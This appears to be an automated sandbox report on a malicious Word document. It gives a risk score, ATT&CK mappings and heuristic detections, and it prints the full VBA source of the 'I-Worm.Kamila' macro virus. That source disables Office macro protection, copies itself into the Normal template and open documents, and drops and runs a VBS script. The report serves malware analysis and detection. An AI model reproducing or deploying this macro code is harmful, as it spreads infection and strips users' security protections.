MALICIOUS
388
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1553.005 Security Software Installation
The sample is a malicious Word document containing VBA macros. The Document_Open macro attempts to disable Word's macro security settings by writing to the registry key HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security\Level. It also attempts to replicate its VBA code to the Normal template and the active document, and self-identifies as 'I-Worm.Kamila'.
Heuristics 8
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set wsh = CreateObject("WScript.Shell") -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.VirusProtection = False -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set wsh = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3029 bytes |
SHA-256: 53ad4974cc9cadf54aac2c2075150c0607319507a54b9be6628d72ac2be4629e |
|||
|
Detection
ClamAV:
Win.Trojan.C-286
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'I-Worm.Kamila
Private Sub Document_Open()
On Error Resume Next
If ThisDocument.Type = wdTypeDocument And KamExTemp Then Exit Sub
If ThisDocument.Type = wdTypeTemplate And KamExDoc Then Exit Sub
With Dialogs(wdDialogFileSummaryInfo)
.Author = "I-Worm.Kamila"
.Subject = "I-Worm.Kamila"
.Comments = "Generated by I-Worm.Kamila"
.Execute
End With
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False
If KamExDoc And KamExTemp Then Exit Sub
If KamExDoc Then
ActiveDocument.VBProject.VBComponents("ThisDocument").Export "C:\kama.dll"
NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "C:\kama.dll"
NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, 4
ElseIf KamExTemp Then
NormalTemplate.VBProject.VBComponents("ThisDocument").Export "C:\kama.dll"
ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "C:\kama.dll"
ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, 4
End If
Kill "C:\kama.dll"
ActiveDocument.Save
NormalTemplate.Save
DropWorm
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Function KamExDoc() As Boolean
On Error Resume Next
str1 = ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.Lines(1, 1)
KamExDoc = (str1 = "'I-Worm.Kamila")
End Function
Private Function KamExTemp() As Boolean
On Error Resume Next
str1 = NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.Lines(1, 1)
KamExTemp = (str1 = "'I-Worm.Kamila")
End Function
Private Sub DropWorm()
On Error Resume Next
Dim blYes As Boolean
Dim wsh As Object
blYes = False
Open "C:\kam_drop.vbs" For Output As #1
For i = 1 To ThisDocument.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
str1 = ThisDocument.VBProject.VBComponents("ThisDocument").CodeModule.Lines(i, 1)
If str1 = "'<BODY>" Then
blYes = True
str1 = ""
ElseIf str1 = "'</BODY>" Then
blYes = False
End If
If blYes Then
Print #1, Right(str1, Len(str1) - 1) & vbCrLf
End If
Next i
Set wsh = CreateObject("WScript.Shell")
Close #1
wsh.Run "C:\kam_drop.vbs"
Set wsh = Nothing
End Sub
'<BODY>
'MsgBox "I"
'</BODY>
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.